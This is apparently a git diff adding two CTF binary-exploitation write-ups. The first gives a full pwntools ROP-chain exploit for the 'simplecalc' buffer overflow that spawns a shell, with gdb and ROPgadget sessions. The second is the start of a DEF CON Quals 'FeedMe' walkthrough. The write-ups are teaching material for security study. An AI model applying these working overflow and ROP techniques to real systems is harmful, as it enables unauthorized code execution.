see below: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → pwn checksec simplecalc + [*] '/home/nothing/binexp/2/calc/simplecalc' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + + + +Now from here we want to find the offset between the start of our input and the return address using gdb: + +![](29.png) + +We want the first breakpoint to be right after the memcpy function so we choose the address of **0x0040154a** + + + gef➤ b *0x40154a + Breakpoint 1 at 0x40154a + gef➤ r + Starting program: /home/nothing/binexp/2/calc/simplecalc + + + |#------------------------------------#| + | Something Calculator | + |#------------------------------------#| + + Expected number of calculations: 50 + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => 1 + Integer x: 13371337 + Integer y: 13371337 + Result for x + y is 26742674. + + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => 5 + + Breakpoint 1, 0x000000000040154a in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x00007fffffffdef0 → 0x0000000001980f92 + $rbx : 0x00000000004002b0 → <_init+0> sub rsp, 0x8 + $rcx : 0x0 + $rdx : 0x0 + $rsp : 0x00007fffffffdee0 → 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc" + $rbp : 0x00007fffffffdf30 → 0x0000000000000000 + $rsi : 0x00000000006c8c98 → 0x0000000000020371 + $rdi : 0x00007fffffffdfb8 → 0x0000000000000000 + $rip : 0x000000000040154a → mov rax, QWORD PTR [rbp-0x10] + $r8 : 0x0 + $r9 : 0x0 + $r10 : 0x0 + $r11 : 0x0 + $r12 : 0x0 + $r13 : 0x0000000000401c00 → <__libc_csu_init+0> push r14 + $r14 : 0x0000000000401c90 → <__libc_csu_fini+0> push rbx + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffdee0│+0x0000: 0x00007fffffffe018 → 0x00007fffffffe34d → "/home/nothing/binexp/2/calc/simplecalc" ← $rsp + 0x00007fffffffdee8│+0x0008: 0x0000000100400d41 ("A\r@"?) + 0x00007fffffffdef0│+0x0010: 0x0000000001980f92 ← $rax + 0x00007fffffffdef8│+0x0018: 0x0000000000000000 + 0x00007fffffffdf00│+0x0020: 0x0000000000000000 + 0x00007fffffffdf08│+0x0028: 0x0000000000000000 + 0x00007fffffffdf10│+0x0030: 0x0000000000000000 + 0x00007fffffffdf18│+0x0038: 0x0000000000000000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x40153d rex.RB ror BYTE PTR [r8-0x77], 0xce + 0x401542 mov rdi, rax + 0x401545 call 0x4228d0 + ●→ 0x40154a mov rax, QWORD PTR [rbp-0x10] + 0x40154e mov rdi, rax + 0x401551 call 0x4156d0 + 0x401556 mov eax, 0x0 + 0x40155b jmp 0x401588 + 0x40155d mov edi, 0x494402 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "simplecalc", stopped 0x40154a in main (), reason: BREAKPOINT + ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x40154a → main() + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +Here we first set the breakpoint at **0x40154a** , then we ran the binary, we selected 50 calculations, then made an addition with the 2 numbers 13371337 and 13371337 which gave us a result of **26742674** , and then we selected 5 to exit and reach the **memcpy** call and thus, our breakpoint, Now what we want to know is where is the result (26742674) stored ? To know this, we need to first know the hex value of our result: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex(26742674) + '0x1980f92' + + + +Now we know that we have to find **0x1980f92** in memory, so we search for the 0x1980f92 pattern in gdb : + + + gef➤ search-pattern '0x1980f92' + [+] Searching '0x1980f92' in memory + gef➤ search-pattern 0x1980f92 + [+] Searching '0x1980f92' in memory + gef➤ + + +Now as you can see **0x198 0f92** is 7 bytes long. if we try to search that pattern, we won't find it: + + + + gef➤ search-pattern 0x1980f92 + [+] Searching '0x1980f92' in memory + + + +So here we need to add an extra zero to end up with 8 bytes: **0x0198 0f92** and then we can find the pattern in memory: + + + gef➤ search-pattern 0x01980f92 + [+] Searching '\x92\x0f\x98\x01' in memory + [+] In '[heap]'(0x6c3000-0x6e9000), permission=rw- + 0x6c4a88 - 0x6c4a98 → "\x92\x0f\x98\x01[...]" + 0x6c8bd0 - 0x6c8be0 → "\x92\x0f\x98\x01[...]" + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffb158 - 0x7fffffffb168 → "\x92\x0f\x98\x01[...]" + 0x7fffffffdef0 - 0x7fffffffdf00 → "\x92\x0f\x98\x01[...]" + + gef➤ info frame + Stack level 0, frame at 0x7fffffffdf40: + rip = 0x40154a in main; saved rip = 0x0 + Arglist at 0x7fffffffdf30, args: + Locals at 0x7fffffffdf30, Previous frame's sp is 0x7fffffffdf40 + Saved registers: + rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38 + + + +Now here we see that the pattern is at **0x7fffffffdef0** and the return address is at **0x7fffffffdf38**. So we can calculate the offset: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [blog/binexp/2] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffdef0 - 0x7fffffffdf38 ) + '-0x48' + + + +Now we know that there is a 0x48 bytes offset between the pattern an the return call. There are 4 bytes for each integer, so we can divide it by 4: + + + >>> int(0x48) + 72 + >>> int(72 / 4) + 18 + + + +Now we know that we will need 18 integers, Now since the binary is statically linked and there is no PIE (as we saw earlier in the pwn checksec command output), We can build a rop chain using the binary for gadgets and without an infoleak. The ROP chain will make an execve syscall to **/bin/sh** just like in the previous tutorials except that now we need to take into account 4 registers that we need to control in order to make this syscall: + +As we saw in our [previous](../asm/2.html) x86_64 assembly tutorials, we need rax to take in our syscall ID, rdi to take the first arguement, rsi to take the 2nd arguement and rdx to take the third arguement. We can use this list to know more about syscalls, and since we are in x86_64 we will use the syscall ID 59 (0x3b) to trigger execve: + + + rax : 0x3b # syscall ID + rdi : ptr to "/bin//sh" # arg 1 to spawn /bin/sh + rsi : 0x0 # arg 2 + rdx : 0x0 # arg 3 + + +To do this, we need what's known as 'gadgets' to control those 4 registers. to find these gadgets we will use the following template**pop rax; ret**. we will use [ROPGadget.py](https://github.com/JonathanSalwan/ROPgadget): + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [~] + → sudo pip3 install capstone + [sudo] password for nothing: + Requirement already satisfied: capstone in /usr/lib/python3.9/site-packages (4.0.2) + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [~] + → cd /opt + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt] + → git clone https://github.com/JonathanSalwan/ROPgadget + fatal: could not create work tree dir 'ROPgadget': Permission denied + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt] + → sudo !! + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt] + → sudo git clone https://github.com/JonathanSalwan/ROPgadget + Cloning into 'ROPgadget'... + remote: Enumerating objects: 20, done. + remote: Counting objects: 100% (20/20), done. + remote: Compressing objects: 100% (14/14), done. + remote: Total 3715 (delta 7), reused 12 (delta 6), pack-reused 3695 + Receiving objects: 100% (3715/3715), 22.62 MiB | 6.86 MiB/s, done. + Resolving deltas: 100% (2286/2286), done. + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt] + → cd ROPgadget + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget] + → ls + AUTHORS LICENSE_BSD.txt README.md ropgadget ROPgadget.py scripts setup.cfg setup.py test-suite-binaries + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget] + → echo $PATH + /usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget] + → sudo ln -s ROPgadget.py /usr/local/bin/ROPgadget.py + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget] + → ROPgadget + [Error] Need a binary filename (--binary/--console or --help) + + + +Once that's done we can continue and find the gadgets of rax, rdi, rsi and rdx: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep "pop rax ; ret" + 0x000000000044db32 : add al, ch ; pop rax ; ret + 0x000000000040b032 : add al, ch ; pop rax ; retf 2 + 0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2 + 0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2 + 0x00000000004b0801 : in al, 0x4c ; pop rax ; retf + 0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2 + 0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret + 0x000000000044db34 : pop rax ; ret + 0x000000000045d707 : pop rax ; retf + 0x000000000040b034 : pop rax ; retf 2 + 0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep "pop rdi ; ret" + 0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret + 0x0000000000401b73 : pop rdi ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep "pop rsi ; ret" + 0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ; ret + 0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret + 0x0000000000437aa9 : pop rdx ; pop rsi ; ret + 0x0000000000401c87 : pop rsi ; ret + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep "pop rdx ; ret" + 0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x45 + 0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45 + 0x00000000004afd61 : js 0x4afdde ; pop rdx ; retf + 0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff + 0x0000000000437a85 : pop rdx ; ret + 0x00000000004a8690 : pop rdx ; ret 0x45 + 0x00000000004b2dd8 : pop rdx ; ret 0xfffd + 0x0000000000414ed2 : pop rdx ; ret 0xffff + 0x00000000004afd63 : pop rdx ; retf + 0x000000000044af60 : pop rdx ; retf 0xffff + 0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret + + + +Now we know that the gadgets we need to control the 4 registers are : + + + rax: 0x44db34 + rdi: 0x401b73 + rsi: 0x401c87 + rdx: 0x437a85 + + + +Now this is where the writeup of this binary challenge hits a very random point. you basically have to find a gadget that will write an eight byte value to a memory region, and it's a mov involving that will move 4 bytes from **rdx** to whatever memory is **pointed** by **rax** : + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep "mov" | grep "rdx" | grep "\[rax\]" | grep "ptr" + + + + + 0x000000000046a7a9 : mov qword ptr [rax], rdx ; jmp 0x46a257 + 0x0000000000461a5f : mov qword ptr [rax], rdx ; mov eax, dword ptr [rsi] ; pop rbx ; ret + 0x000000000040274f : mov qword ptr [rax], rdx ; mov edx, 0xfe8 ; jmp 0x4026b4 + 0x000000000046277d : mov qword ptr [rax], rdx ; mov qword ptr [rax + 0x40], rsi ; jmp 0x46272c + 0x000000000040a3ee : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x40a102 + 0x000000000047efb8 : mov qword ptr [rax], rdx ; pop rbx ; ret + + **0x000000000044526e : mov qword ptr [rax], rdx ; ret** + + 0x0000000000462730 : mov qword ptr [rax], rdx ; xor eax, eax ; ret + + + +So here we see at the address **0x0044526e** that this mov instruction will move the value of rdx into the memory address that is pointed by rax. This is also convenient because we have gadgets for the rdx and rax registers. The last gadget we need is a syscall gadget: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → ROPgadget --binary simplecalc | grep ": syscall" + 0x0000000000400488 : syscall + + + +We don't have a choice here, the only syscall is at **0x00400488** , Now we need to figure out where in memory we will write the string **/bin/sh** So we need to check the memory mappings while the binary is running: + + + gef➤ vmmap + [ Legend: Code | Heap | Stack ] + Start End Offset Perm Path + 0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /home/nothing/binexp/2/calc/simplecalc + 0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /home/nothing/binexp/2/calc/simplecalc + 0x00000000006c3000 0x00000000006e9000 0x0000000000000000 rw- [heap] + 0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar] + 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso] + 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] + 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] + + + +We see that the memory region begins at **0x6c1000** and ends at **0x6c3000** the permissions allow us to read and write to it, and in addition, that is mapped from the binary. Since there is no PIE the addresses will be the same everytime, therefore we don't need an infoleak. Here we want to take a look at the memory addresses after**0x6c0000** to see if we can find an empty space where we can write our stuff: + + + gef➤ x/g 0x6c0000 + 0x6c0000: 0x200e41280e41300e + + gef➤ x/20g 0x6c0000 + 0x6c0000: 0x200e41280e41300e 0xe42100e42180e42 + 0x6c0010: 0xb4108 0xd0a40000002c + 0x6c0020: 0x6cfffd1fd0 0x80e0a69100e4400 + 0x6c0030: 0xb42080e0a460b4b 0xe470b49080e0a57 + 0x6c0040: 0x8 0xd0d400000024 + 0x6c0050: 0x144fffd2010 0x5a020283100e4500 + 0x6c0060: 0xee3020b41080e0a 0x8 + 0x6c0070: 0xd0fc00000064 0x26cfffd2138 + 0x6c0080: 0xe47028f100e4200 0x48d200e42038e18 + 0x6c0090: 0x300e41058c280e42 0x440783380e410686 + + gef➤ x/20g 0x6c1000 + 0x6c1000: 0x0 0x0 + 0x6c1010: 0x0 0x431070 + 0x6c1020: 0x430a40 0x428e20 + 0x6c1030: 0x4331b0 0x424c50 + 0x6c1040: 0x42b940 0x423740 + 0x6c1050: 0x4852d0 0x4178d0 + 0x6c1060: 0x0 0x0 + 0x6c1070 <****_dl_tls_static_size>: 0x1180 0x0 + 0x6c1080 <****_nl_current_default_domain>: 0x4945f7 0x0 + 0x6c1090 <****locale_alias_path.10061>: 0x49462a 0x6c32a0 + +It looks like **0x6c1000** is empty, so we should be able to write to it without messing up anything. + +Now we need to worry about what deals with what we are overflowing onto the stack: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined4 Stack[-0xc]:4 local_c XREF[7]: 00401443(W), + 00401481(R), + 004014af(R), + 004014dd(R), + 00401508(R), + 00401567(RW), + 0040156e(R) + undefined8 Stack[-0x18]:8 local_18 XREF[8]: 0040143f(W), + 0040148e(R), + 004014bc(R), + 004014ea(R), + 00401515(R), + 00401537(R), + 0040154a(R), + 00401577(R) + undefined4 Stack[-0x1c]:4 local_1c XREF[7]: 00401392(W), + 004013e9(*), + 00401409(R), + 00401413(R), + 0040142f(R), + 0040152e(R), + 0040156b(R) + undefined4 Stack[-0x20]:4 local_20 XREF[6]: 00401454(*), + 00401474(R), + 004014a2(R), + 004014d0(R), + 004014fb(R), + 00401526(R) + undefined1 Stack[-0x48]:1 local_48 XREF[1]: 0040153b(*) + undefined4 Stack[-0x4c]:4 local_4c XREF[1]: 0040138b(W) + undefined8 Stack[-0x58]:8 local_58 XREF[1]: 0040138e(W) + main XREF[4]: Entry Point(*), + _start:00400f6b(*), + _start:00400f6b(*), 004b3078(*) + 00401383 55 PUSH RBP + + + + + if (local_20 == 5) { + memcpy(local_48,local_18,(long)(local_1c << 2)); + free(local_18); + return 0; + } + + +So here we see that between the vulnerable buffer **local_48** (which is handled inside of the vulnerable memcpy call we saw earlier) and the bottom of the stack there is the **local_18** pointer that contains our calculations. It will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed as you can see above. + +Now the trick here was that you needed to take a look at the [sourcecode](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free) of the free functioni (lines 3092- 3103): + + + void + __libc_free (void *mem) + { + mstate ar_ptr; + mchunkptr p; /* chunk corresponding to mem */ + void (*hook) (void *, const void *) + = atomic_forced_read (__free_hook); + if (__builtin_expect (hook != NULL, 0)) + { + (*hook)(mem, RETURN_ADDRESS (0)); + return; + + +Here you see that if the arguement to the free() function is a null pointer (0x0) then it just returns. Since the function writing the data for the overflow is memcpy, we can just write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine. With that, we can now create the exploit including the ROP chain to spawn a shell and print out the flag: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc] + → vim exploit.py + + + + + from pwn import * + + #target is the variable for the process ./simplecalc + target = process('./simplecalc') + + #recieve text until calculations: + target.recvuntil('calculations: ') + #we want 100 calculations) + target.sendline('100') + + + + +Now here we use the 'target' variable to follow the process of our binary, we want to recieve the output text until 'calculations: ', Then we want to send '100' as our choice for calculations. Next we will setup our rop gadgets: + + + # Establish our rop gadgets + popRax = 0x44db34 + popRdi = 0x401b73 + popRsi = 0x401c87 + popRdx = 0x437a85 + + # 0x000000000044526e : mov qword ptr [rax], rdx ; ret + movGadget = 0x44526e + syscall = 0x400488 + + + +So here we set the constants we found earlier the addresses of the Rax, rdi, rsi and rdx gadgets, as well as the movGadget and the syscall we need. Next we need to submit an 'addition'(option 1) to the binary file of x=100 and y=arguement - 100: + + + def addSingle(x): + target.recvuntil("=> ") + target.sendline("1") + + target.recvuntil("Integer x: ") + target.sendline("100") + + target.recvuntil("Integer y: ") + target.sendline(str(x - 100)) #making use the arguement being passed into the function here + + + +And the second function makes use of the function we defined above: + + + def add(z): + x = z & 0xffffffff + y = ((z & 0xffffffff00000000) >> 32) + addSingle(x) + addSingle(y) + + # Fill up the space between the start of our input and the return address + for i in range(9): + # Fill it up with null bytes, to make the ptr passed to free be a null pointer + # So free doesn't crash + add(0x0) + + + +This will make sure we fill up the space between the start of our input and the return address with 9 nullbytes to make the ptr passed to the free() function be a null pointer. The add() function that is defined here makes use of addSingle() that we defined above. These 2 additions will nake sure that we give input via addition, and next we need to make our actual ROP chain: + + + #Write "/bin/sh" to 0x6c1000 + + #pop rax, 0x6c1000 ; ret + #pop rdx, "/bin/sh\x00" ; ret + #mov qword ptr [rax], rdx ; ret + + + add(popRax) + add(0x6c1000) + + add(popRdx) + add(0x0068732f6e69622f) # "/bin/sh" in hex + + + + +This will make use of the 'add' function we defined above, to put the value of popRax(0x44db34) to the ROPchain, as well as our actual shellcode: + + + # Move the needed values into the registers + #pop rax, 0x3b ; ret + #pop rdi, 0x6c1000 ; ret + #pop rsi, 0x0 ; ret + #pop rdx, 0x0 ; ret + + add(movGadget) + + add(popRax) # Specify which syscall to make + add(0x3b) + + add(popRdi) # Specify pointer to "/bin/sh" + add(0x6c1000) + + add(popRsi) # Specify no arguments or environment variables + add(0x0) + add(popRdx) + add(0x0) + + add(syscall) # Syscall instruction + + + +We specify the syscall ID into rax, the first arguement (/bin/sh) into rdi, and then both rsi and rdx (2nd and 3rd arguements) contain nullbytes. And lastly we make the syscall to end our ropchain. + + + target.sendline('5') # Save and exit to execute memcpy and trigger buffer overflow + + # Drop to an interactive shell to use our new shell + target.interactive() + + + +At last, once we finished feeding the ropchain into the binary, we get to the memcpy call to trigger it and then drop into an interactive shell: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc] + → python3 exploit.py + [+] Starting local process './simplecalc': pid 3475833 + [*] Switching to interactive mode + Result for x + y is 0. + + Options Menu: + [1] Addition. + [2] Subtraction. + [3] Multiplication. + [4] Division. + [5] Save and Exit. + => $ id + uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel) + $ cat flag.txt + flag{g0ttem_b0yz} + + + +And that's it! We have been able to print spawn a shell and print out the contents of the flag. + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/feed.md b/2/feed.md new file mode 100644 index 0000000..b4604fb --- /dev/null +++ b/2/feed.md @@ -0,0 +1,688 @@ +# DCQuals 2016 FeedMe + +Yet another insane challenge, buckle up ! + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme + --2021-03-06 11:21:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.4 + Connecting to github.com (github.com)|140.82.121.4|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme [following] + --2021-03-06 11:21:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 664792 (649K) [application/octet-stream] + Saving to: ‘feedme’ + + feedme 100%[=======================================================================================================================================================>] 649.21K --.-KB/s in 0.1s + + 2021-03-06 11:21:20 (5.42 MB/s) - ‘feedme’ saved [664792/664792] + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → file feedme + feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → chmod +x feedme + + + +` ![]() + +## Solution + +First let's run the binary to see what it does after using pwn checksec on it: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → pwn checksec feedme + [*] '/home/nothing/binexp/2/feed/feedme' + Arch: i386-32-little + RELRO: No RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → ./feedme + FEED ME! + yes + no + yes + no + yes + no + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa + ^C + + + +Here we see that we are dealing with a 32bit statically linked binary, with a non executable stack (NX). When we run it, the program prompts us with some text before we can give some input, it seems to be able to take in a certain amount of input, so let's see how much: + + + [ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed] + → ./feedme + FEED ME! + 000000000000000000000000000000000 + 000000000000000000000000000000000 + ATE 30303030303030303030303030303030... + *** stack smashing detected ***: ./feedme terminated + Child exit. + FEED ME! + + + +Apparently we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten, it terminated the process and kept asking for more input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. When the program sees tha tthe stack canary got edited, it terminates the child process, and the parent process spawns another instance and continues asking us for input. So let's take a look at the binary inside of ghidra: + +![](35.png) + +Once again, the main function is not called 'main' so we find it by searching for the text that the binary outputs, (CTRL+SHIFT+E) and we find the following: + + + uint FUN_08049036(void) + + { + byte bVar1; + undefined4 uVar2; + uint uVar3; + int in_GS_OFFSET; + undefined local_30 [32]; + int local_10; + + local_10 = *(int *)(in_GS_OFFSET + 0x14); + FUN_0804fc60("FEED ME!"); + bVar1 = FUN_08048e42(); + FUN_08048e7e(local_30,bVar1); + uVar2 = FUN_08048f6e(local_30,bVar1,0x10); + FUN_0804f700("ATE %s\n",uVar2); + uVar3 = (uint)bVar1; + if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) { + uVar3 = FUN_0806f5b0(); + } + return uVar3; + } + + + +Here we see that much like our previous challenge, there aren't any scanf nor any gets first off, our input text (most probably **local_32** which can hold 32 bytes) gets passed into the **FUN_08048f6e** function along with the value returned by the **FUN_08048e42()** function and the hex value **0x10**. + +We also see that the function**FUN_08048f6e(local_30,bVar1,0x10);** takes in our input value as well as a limit of 16 (0x10) bytes of input, that function returns a pointer to 16 bytes of our input, so let's look at it from gdb: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed] + → gdb ./feedme + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./feedme... + (No debugging symbols found in ./feedme) + gef➤ set follow-fork-mode child + gef➤ show follow-fork mode + Debugger response to a program call of fork or vfork is "child". + + + +Now here we basically set gdb so that it follows the forks created by the binary file, now we need breakpoints: + +![](40.png) + +Now we know where we want our 3 breakpoints: + + + 1) 0x8049053 + 2) 0x8049069 + 3) 0x8049069 + + + +So we continue with gdb: + + + gef➤ set follow-fork-mode child + gef➤ show follow-fork mode + Debugger response to a program call of fork or vfork is "child". + gef➤ b *0x8049053 + Breakpoint 1 at 0x8049053 + gef➤ b *0x8049069 + Breakpoint 2 at 0x8049069 + gef➤ b *0x8049084 + Breakpoint 3 at 0x8049084 + gef➤ r + Starting program: /home/nothing/binexp/2/feed/feedme + [Attaching after process 3458879 fork to child process 3458883] + [New inferior 2 (process 3458883)] + [Detaching after fork from parent process 3458879] + [Inferior 1 (process 3458879) detached] + FEED ME! + [Switching to process 3458883] + + Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? () + [ Legend: Modified register | Code | Heap | Stack | String ] + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0x9 + $ebx : 0x080481a8 → push ebx + $ecx : 0x080eb4d4 → 0x00000000 + $edx : 0x9 + $esp : 0xffffd080 → 0x080be70c → "FEED ME!" + $ebp : 0xffffd0c8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx + $esi : 0x0 + $edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4] + $eip : 0x08049053 → 0xfffdeae8 → 0x00000000 + $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd080│+0x0000: 0x080be70c → "FEED ME!" ← $esp + 0xffffd084│+0x0004: 0x00000000 + 0xffffd088│+0x0008: 0x00000000 + 0xffffd08c│+0x000c: 0x0806ccb7 → sub esp, 0x20 + 0xffffd090│+0x0010: 0x080ea200 → 0xfbad2887 + 0xffffd094│+0x0014: 0x080ea247 → 0x0eb4d40a + 0xffffd098│+0x0018: 0x080ea248 → 0x080eb4d4 → 0x00000000 + 0xffffd09c│+0x001c: 0x00000000 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + 0x8049041 add BYTE PTR [ecx-0x3fce0bbb], cl + 0x8049047 mov DWORD PTR [esp], 0x80be70c + 0x804904e call 0x804fc60 + ●→ 0x8049053 call 0x8048e42 + ↳ 0x8048e42 push ebp + 0x8048e43 mov ebp, esp + 0x8048e45 sub esp, 0x28 + 0x8048e48 mov DWORD PTR [esp+0x8], 0x1 + 0x8048e50 lea eax, [ebp-0xd] + 0x8048e53 mov DWORD PTR [esp+0x4], eax + ──────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── + 0x8048e42 ( + ) + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "feedme", stopped 0x8049053 in ?? (), reason: BREAKPOINT + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 